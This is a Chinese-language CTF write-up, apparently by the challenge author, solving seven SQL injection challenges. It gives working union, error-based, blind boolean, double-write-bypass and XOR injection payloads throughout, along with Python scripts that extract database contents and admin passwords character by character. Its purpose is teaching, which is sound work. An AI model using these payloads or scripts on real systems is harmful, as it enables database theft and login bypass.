SDUT-SQL题解
?
?
?
sql01:(GET-無(wú)任何過(guò)濾)http://49.234.136.46:32711/index01.php
首先題目提示要輸入id,那就在url中加入?id=1得到:發(fā)現(xiàn)給了兩個(gè)回顯位
給出提示信息: flag in another table!(假裝自己不是出題人,哈哈哈哈哈)
然后需要找出id的閉合方式:? ? ? ? ? ? ? ?id=1' (報(bào)錯(cuò))? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語(yǔ)句被注釋掉 )
當(dāng)用單引號(hào)閉合時(shí),發(fā)現(xiàn)有報(bào)錯(cuò),確定id的閉合方式是 單引號(hào)
ok,現(xiàn)在得到的有用信息:? 兩個(gè)回顯位? ? ? ? ?閉合方式為? 單引號(hào)
可用的 注入方式:? ?聯(lián)合查詢? ? ? ?報(bào)錯(cuò)注入? ? …………
(一 )聯(lián)合查詢:?
先用 order by 測(cè) 數(shù)據(jù)庫(kù)當(dāng)前表的 字段數(shù)(列數(shù)):
?id=1' order by 2 %23 //正常 ?id=1' order by 3 %23 // 報(bào)錯(cuò)說(shuō)明 有 2 個(gè)字段
爆庫(kù)名:
?id=-1' union select 1,database() %23得到數(shù)據(jù)庫(kù)名: test_flag
爆表名:
?id=-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() %23得到兩個(gè)表 : flag? 和 users? (因?yàn)榍懊嫣崾菊f(shuō) flag 在另一個(gè)表里面? 那我們只用去 注入 flag 表就行了)
爆 字段:
?id=-1' union select 1,group_concat(column_name)from information_schema.columns where table_name = 'flag' %23得到兩個(gè)字段? id message
脫庫(kù):(0x7e? 是十六進(jìn)制的 ~? )
?id=-1' union select 1,group_concat(id,0x7e,message)from flag %23?
得到 flag :?flag{SDUT-HEIHEI-HAHA}
(二)報(bào)錯(cuò)注入:
常用的 兩種簡(jiǎn)單的報(bào)錯(cuò)注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23這里用 第一種?做一個(gè)實(shí)例:
//爆庫(kù)名 ?id=1' and extractvalue(1,concat(0x7e,(database()))) %23只需要將下面的語(yǔ)句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'flag'//脫庫(kù) select group_concat(id,0x3a,message) from flag?
SQL2 : 單引號(hào)-GET型-報(bào)錯(cuò)注入 ? ? ? ?http://49.234.136.46:32711/ind02.php?
提示讓輸入 id,那就輸入? ?id=1? ?依次輸入 2,3,4,都是這個(gè)界面,沒(méi)給回顯位
測(cè)閉合方式: 注入 ? ? ? ? ? ? ? ?id=1' (報(bào)錯(cuò))? ? ? ? ? ? ? ? ? ? ??id=1' %23(正常,? %23為 #? ?注釋符,后面的語(yǔ)句被注釋掉 )
說(shuō)明閉合方式是? ?單引號(hào)
那這題最適合的注入方式是? 報(bào)錯(cuò)注入
報(bào)錯(cuò)注入:
常用的 兩種簡(jiǎn)單的報(bào)錯(cuò)注入方式:
?id=1' and extractvalue(1,concat(0x7e,(payload))) %23?id=1' and updatexml(1,concat(0x7e,(payload)),1) %23?
爆庫(kù)名:
?id=1' and extractvalue(1,concat(0x7e,(database()))) %23爆表名:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) %23得到兩個(gè)表:sql2_flag? ?users
爆字段:
?
脫庫(kù):
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x7e,message) from sql2_flag ))) %23這里發(fā)現(xiàn) 信息沒(méi)有輸出完? 被截?cái)嗔? ? 這是因?yàn)? extractvalues()函數(shù)? 和 updatexml ()這兩個(gè)函數(shù) 最多能輸出 32位字符
所以這里我們? 不采用 group_concat() 函數(shù) 換用? concat()? ?+? limit? x,x? 進(jìn)行一行一行輸出
//這里需要不斷改變 limit x,1 進(jìn)行換行?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 0,1))) %23?id=1' and extractvalue(1,concat(0x7e,(select concat(id,0x7e,message) from sql2_flag limit 1,1))) %23?
SQL3 : 單引號(hào)-GET型-布爾/延時(shí)注入-無(wú)過(guò)濾??
? ?http://49.234.136.46:32711/in03d.php
注入: ?id=1? ?
注入 ?id=1'? 不會(huì)報(bào)錯(cuò) ,? 不能用 報(bào)錯(cuò)注入
注入? ? ?id=1' and '1' ='1'? ?%23
確定 閉合方式是? ?單引號(hào)閉合
肯定是用盲注? 具體是用? 延時(shí)注入? 還是? ?布爾注入 取決于個(gè)人喜好
手工 注入可能得 注入一輩子
布爾注入的原理:具體自己去百度:
如果用 布爾注入的話 還是得
先 看 正確時(shí)? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?526
錯(cuò)誤時(shí)? ? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?496
我們就利用這一點(diǎn)? 去一個(gè)一個(gè)字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117這里是截取? 查詢到的數(shù)據(jù)庫(kù)名 的第一個(gè)字母? 然后與? ?字符 'u' 對(duì)比? 如果? 數(shù)據(jù)庫(kù)名的第一個(gè)字母是 u??
這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁(yè)面內(nèi)容大小為 526
若 數(shù)據(jù)庫(kù)名的第一個(gè)字母不是 u ,這個(gè)注入語(yǔ)句就是 flase? ?即? username是錯(cuò)誤的 ,返回頁(yè)面內(nèi)容的大小為 496
?
直接上腳本:python3
import requestsresult = "" url_template = "http://49.234.136.46:32711/in03d.php?id=2' and ascii(substr(({0}),{1},1))>{2} %23" chars = "-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz,.@&%/^!{}~" url_length = "http://49.234.136.46:32711/in03d.php?id=2' and length(({0})) >{1} %23"def get_result_length(payload,value):for n in range(1,100):url = url_length.format(payload,n)response = requests.get(url)length = len(response.text)if length < value:print("……data length is :" + str(n))return ndef get_db_name(data_length,payload,value):for i in range(1,data_length):for char in chars:url = url_template.format(payload,i,ord(char))response = requests.get(url)length = len(response.text)if length<value: #根據(jù)返回長(zhǎng)度的不同來(lái)判斷字符正確與否global resultresult += charprint("…… data is :"+ result)break#自定義 sql注入語(yǔ)句 payload 分割符 為0 payload = "select database() " # 根據(jù)正確訪問(wèn)時(shí)錯(cuò)誤訪問(wèn)時(shí)返回頁(yè)面文本長(zhǎng)度的不同 來(lái)設(shè)置一個(gè)判斷值 正確時(shí) 返回字節(jié)長(zhǎng)度是 526 錯(cuò)誤時(shí)返回字節(jié)長(zhǎng)度是 496 value = 510 data_length = get_result_length(payload,value)+1 get_db_name(data_length,payload,value) print(result)只需要改變 payload 語(yǔ)句就可以實(shí)現(xiàn)? 爆庫(kù)名 、表名、字段、脫庫(kù)等操作
這里給出具體的payload:
//爆庫(kù)名 select database()只需要將下面的語(yǔ)句放入 payload 位置就可以了//爆表名 select group_concat(table_name) from information_schema.tables where table_schema = database()//爆字段 select group_concat(column_name) from information_schema.columns where table_name = 'SDUT_flag'//脫庫(kù) select group_concat(username,password) from SDUT_flag select concat(username,0x3a,password) from SDUT_flag limit 3,1數(shù)據(jù)庫(kù)名:
最終得到 flag:flag{SDUT_hei-hei-hei}? ? ?
?
這里附上 我的另一篇博客的 連接 有興趣的同學(xué)可以看看:(我好難啊! 自己出題,自己搭建服務(wù),自己寫(xiě)題解,嗚嗚)
SQL 盲注GET /POST、布爾型,延時(shí)型Python腳本:
https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以聯(lián)系我? qq:1571625800
再說(shuō)一下? 腳本中 的 value 是怎么找的:Firefox? ? 中 按F12? ,然后在url中 注入? ? ? ? 刷新
?
SQL4 : 單引號(hào)-GET型-過(guò)濾or和and-雙寫(xiě)繞過(guò) ? ? ?
? ?http://49.234.136.46:32711/i04dx.php
?
?
注入? ?id=1? ?給了一個(gè)回顯位
注入 ?id=2'? 有報(bào)錯(cuò) 可以用報(bào)錯(cuò)注入
注入? ?id=2'? and '1' ='1' %23? ?還是報(bào)錯(cuò)? ??? 不應(yīng)該啊
仔細(xì)看看報(bào)錯(cuò) 發(fā)現(xiàn)? and 沒(méi)了:應(yīng)該是被過(guò)濾了
還過(guò)濾了啥呢??? 找找提示:
查看頁(yè)面源代碼:發(fā)現(xiàn)有一個(gè)提示:
是一個(gè)base 64 密文 在線解密后得到:?
Your 'and' and 'or' are filtered? ? ?說(shuō) and 和 or 被過(guò)濾了
ok ,用一下雙寫(xiě)繞過(guò),看可不可以,注入: ?id=1' anandd? '1' = '1'? %23? ?正常了
看來(lái)可以用 雙寫(xiě)繞過(guò)? ?
不管是用 聯(lián)合查詢 還是用? 報(bào)錯(cuò)注入,還是 盲注? ?在涉及到? ?and 和 or 這兩個(gè)字符時(shí)需要雙寫(xiě)
anandd
oorr
給出脫庫(kù)的 payload:(特別注意在使用 information_schema 時(shí)? 要雙寫(xiě)成 infoorrmation_schema? ? ,passwoorrd)
?
在用聯(lián)合查詢時(shí) 要先測(cè)? 用 order? by 字段數(shù) (雙寫(xiě)? ?oorrder? by)??這里測(cè)得字段數(shù)為? 3,且回顯位 在 1 號(hào)位
?id=-1' union select group_concat(username,0x7e,passwoorrd),2,3 from ctf %23flag~flag{daye-lpl-RNG}
?
SQL5 : POST型-無(wú)過(guò)濾 ? ? ? ? ? ? ? ? ? ??http://47.94.36.51:32710/index.php?
隨便輸入: admin? ?admin? 沒(méi)想到 登錄成功? :有兩個(gè)回顯位,可以回顯信息
輸入別的? 就會(huì)出現(xiàn)?usernname or password error!
首先 測(cè)? 閉合方式:
//在username中注入:admin' // usernname or password error!admin' # //登入a' or '1' ='1' # //萬(wàn)能密碼 #會(huì)把 后面的password驗(yàn)證注釋掉 所以不用填密碼確定閉合方式為? ?單引號(hào)閉合
因?yàn)闆](méi)有報(bào)錯(cuò) 所以不能用 報(bào)錯(cuò)注入
用聯(lián)合查詢 或者? 盲注 都是 可以的
聯(lián)合查詢:
以下注入 都是 在username中注入的? ,password可以不填(因?yàn)橐呀?jīng)被#注釋掉了)
測(cè) 字段個(gè)數(shù):說(shuō)明有 2 個(gè)字段
爆庫(kù)名:
a' union select 1,database() #?
爆表名
a' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database() #爆字段::
?
脫庫(kù):
?
flag:flag{LH-quan-shi_jie_zui_shuai}
?
SQL6 : POST型-布爾/延時(shí)注入 ? ? ? ? ? ? ? ? ? ? ?http://47.94.36.51:32711/index.php
隨便輸入? ?asss? ? ? ? 和 sdfasd? ?提示??username error!
輸入: admin? ?和? admin? ? ?提示password error ! (可知,有一個(gè)username 為 admin,頁(yè)面源代碼中給的 tip 也證實(shí)這一點(diǎn), 其實(shí)這些題就是我出的,假裝自己不是出題人系列? 哈哈哈哈哈哈哈)
還是先測(cè)閉合方式:?
在username 中輸入: 閉合方式為? ? 單引號(hào)
admin' //username error!admin' # //password error!發(fā)現(xiàn)頁(yè)面只會(huì) 輸出 username error? 和? ? ?password error
不會(huì)報(bào)錯(cuò),也沒(méi)有回顯位 ,那只能用? ?盲注延時(shí)或者布爾了
知道了一個(gè)用戶名為 admin? 那爆出 admin的密碼不就可以得到flag了嘛!
注入點(diǎn)? 在 username
如果用 布爾注入的話 還是得
先 看 username正確時(shí)? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?2859
username? 錯(cuò)誤時(shí)? ? 返回的頁(yè)面內(nèi)容長(zhǎng)度? ? ?2829
我們就利用這一點(diǎn)? 去一個(gè)一個(gè)字符地爆破
比如:注入:
admin'and ascii(substr((database()),1,1))=117 #//字母 u 的 ascii是 117這里是截取? 查詢到的數(shù)據(jù)庫(kù)名 的第一個(gè)字母? 然后與? ?字符 'u' 對(duì)比? 如果? 數(shù)據(jù)庫(kù)名的第一個(gè)字母是 u??
這句話就是 是正確的? 就代表? username 是 正確的? ?返回的頁(yè)面內(nèi)容大小為 2859
若 數(shù)據(jù)庫(kù)名的第一個(gè)字母不是 u ,這個(gè)注入語(yǔ)句就是 flase? ?即? username是錯(cuò)誤的 ,返回頁(yè)面內(nèi)容的大小為 2829
?
Firefox? 中 按 F12? 點(diǎn)網(wǎng)絡(luò) ,然后分別輸入正確的username 和錯(cuò)誤的username? ?
查看 響應(yīng)包信息:
?
上代碼:
?
表名:
改一下payload就可以 爆其他的信息:
脫庫(kù):
得到,密碼:asdfasdfasdfsddd
輸入 admin? 和asdfasdfasdfsddd? ?得到flag:
是一段base 64 密文:ZmxhZ3tJJ20tc3VwZXJtYW59ICAgIAoKCg==
解密:flag{I'm-superman} ? ?
?
有興趣的話可以研究一下? ?延時(shí)的腳本?
可以參照我的另一篇博客:https://blog.csdn.net/vhkjhwbs/article/details/98960802
有不懂的可以聯(lián)系我? qq:1571625800
?
SQL7 : POST型-幾乎過(guò)濾所有字符-異或注入
? ? ? ? ?http://47.94.36.51:32710/lalala.html
這個(gè)題有點(diǎn)難度的,
輸入 admin admin? ?提示 : password error!
輸入 admin'? ?admin'? ?提示: username error!
輸入 admin'? ?#? ? ? ?提示:?Illegal character (這里不能確定到底誰(shuí)是非法字符,需要進(jìn)一步測(cè)試)
輸入 admin'#? ? ? ? ? ?提示: password error!
通過(guò)以上 輸入 知道了? 有一個(gè)用戶名為? admin?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?閉合方式為? 單引號(hào)
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?有部分字符被過(guò)濾了 (不知道到底有哪些字符被過(guò)濾了,怎么辦???)
肯定先要測(cè)試 有哪些字符被過(guò)濾了啊!
首先看看有沒(méi)有給提示:
在第一頁(yè)的源代碼里找到了這個(gè)提示:
說(shuō)經(jīng)常查看頁(yè)面源代碼是一個(gè)好習(xí)慣
那肯定有信息在 頁(yè)面源代碼里了,找找看:
在第二頁(yè)的 頁(yè)面源代碼里找到了 一段base 64 密文:
如果你是用 burp suite做代理做本題的話 很容易就會(huì)發(fā)現(xiàn) 這個(gè)tip:
?
base 64 密文:
ICAgICRkYXRhPSBwcmVnX3JlcGxhY2UoJy9bK10vJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL1ssXS8nLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvWyBdLycsIiIsICRkYXRhKTsJICAgIAogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyYvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnLyUvJywiIiwgJGRhdGEpOwogICAgJGRhdGE9IHByZWdfcmVwbGFjZSgnL3VuaW9uL2knLCIiLCAkZGF0YSk7CiAgICAkZGF0YT0gcHJlZ19yZXBsYWNlKCcvYW5kL2knLCIiLCAkZGF0YSk7ICAgIA==
解密:把下面的字符全過(guò)濾
$data= preg_replace('/[+]/',"", $data);$data= preg_replace('/[,]/',"", $data);$data= preg_replace('/[ ]/',"", $data); $data= preg_replace('/&/',"", $data);$data= preg_replace('/%/',"", $data);$data= preg_replace('/union/i',"", $data);$data= preg_replace('/and/i',"", $data);過(guò)濾了? union? 不能用 聯(lián)合查詢?
過(guò)濾了? 逗號(hào)? ?srtsub()函數(shù)就不能按照常規(guī)用法
過(guò)濾了 空格 ,盡量避免用 空格,在需要用到空格的地方 就 用()代替
?
?上腳本:
import requestsurl = "http://47.94.36.51:32710/xxxg.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個(gè)payload的表達(dá)方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(users)where(username)='admin')from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(users)where(username)='admin')from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'password' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內(nèi)循環(huán)停止if stop == 0: #當(dāng)內(nèi)循環(huán)匹配不到值的時(shí)候外循環(huán)就停止print("\n"+result)break得到admin的密碼 :?wotianxiawudi
登錄后得到:
?
flag{SDUT-wonderful-sss}
如果有什么不懂可以聯(lián)系我q 1571625800?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
總結(jié)
以上是生活随笔為你收集整理的SDUT-SQL题解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Python 中的 sys 库 和 os
- 下一篇: BUG总结—Navicat连接Mysql